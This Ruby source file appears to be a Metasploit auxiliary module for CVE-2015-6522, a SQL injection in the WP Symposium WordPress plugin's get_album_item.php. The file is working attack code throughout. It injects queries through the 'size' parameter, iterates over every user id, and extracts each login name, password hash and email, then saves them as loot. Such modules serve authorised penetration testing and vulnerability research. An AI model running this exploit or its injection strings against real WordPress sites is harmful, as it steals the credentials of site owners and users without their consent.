151 lines
4.4 KiB
Ruby
151 lines
4.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HTTP::Wordpress
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'WordPress Symposium Plugin SQL Injection',
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'Description' => %q{
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This module exploits a SQL injection vulnerability in the WP Symposium plugin
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before 15.8 for WordPress, which allows remote attackers to extract credentials
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via the size parameter to get_album_item.php.
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},
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'Author' =>
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[
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'PizzaHatHacker', # Vulnerability discovery
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'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-6522'],
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['EDB', '37824']
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],
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'DisclosureDate' => 'Aug 18 2015'
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))
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register_options(
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[
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OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
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], self.class)
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end
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def check
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check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
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end
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def uri_plugin
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normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
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end
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def send_sql_request(sql_query)
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uri_complete = normalize_uri(uri_plugin)
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begin
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => uri_complete,
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'vars_get' => { 'size' => sql_query }
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)
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return nil if res.nil? || res.code != 200 || res.body.nil?
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res.body
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
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vprint_error("#{peer} - The host was unreachable!")
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return nil
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :nonreplayable_hash,
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run
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vprint_status("#{peer} - Attempting to connect...")
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vprint_status("#{peer} - Trying to retrieve the first user id...")
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first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
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if first_id.nil?
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vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
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return
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else
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vprint_status("#{peer} - First user-id is '#{first_id}'")
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end
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vprint_status("#{peer} - Trying to retrieve the last user id...")
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last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
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if last_id.nil?
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vprint_error("#{peer} - Failed to retrieve the last user id")
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return
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else
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vprint_status("#{peer} - Last user-id is '#{last_id}'")
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end
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credentials = ""
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vprint_status("#{peer} - Trying to retrieve the users informations...")
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for user_id in first_id..last_id
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separator = Rex::Text.rand_text_numeric(7,bad='0')
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user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
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if user_info.nil?
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vprint_error("#{peer} - Failed to retrieve the users info")
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return
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else
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values = user_info.split("#{separator}")
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user_login = values[0]
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user_pass = values[1]
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user_email = values[2]
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print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
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report_cred(
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ip: rhost,
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port: datastore['RPORT'],
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service_name: datastore['SSL'] ? 'https' : 'http',
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user: user_login,
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password: user_pass,
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proof: user_email
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)
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credentials << "#{user_login},#{user_pass},#{user_email}\n"
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end
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end
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unless credentials.empty?
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loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
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vprint_status("Credentials saved in: #{loot}")
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end
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end
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end
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